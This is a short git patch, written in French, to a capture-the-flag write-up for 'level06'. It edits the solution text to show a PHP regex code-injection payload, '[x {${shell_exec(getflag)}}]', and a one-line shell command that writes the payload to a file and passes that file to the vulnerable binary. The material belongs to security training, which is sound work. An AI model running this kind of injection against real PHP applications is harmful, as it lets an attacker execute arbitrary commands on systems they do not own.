From 778ecf386d18f0028c40bf1cb8d5ac49e50332c3 Mon Sep 17 00:00:00 2001 From: Lapin Date: Tue, 2 Feb 2021 17:52:29 +0100 Subject: [PATCH] legere amelioration simplification de l'utilisation de l'exploit --- level06/Ressources/solution | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/level06/Ressources/solution b/level06/Ressources/solution index d61279e..d0a624a 100644 --- a/level06/Ressources/solution +++ b/level06/Ressources/solution @@ -13,8 +13,9 @@ on remarque qu'on peut utiliser une commande shell en php avec shell_exec, il su shell_exec(getflag) dans la regex -il faut un ficher avec +il faut un ficher avec: [x {${shell_exec(getflag)}}] +puis rentrer ce fichier en argument du binaire level06 + +$ echo '[x {${shell_exec(getflag)}}]' > /tmp/exploit06 && ./level06 /tmp/exploit06 -[x {${shell_exec(getflag)}}] -puis rentrer ce fichier en argument du binaire level06 \ No newline at end of file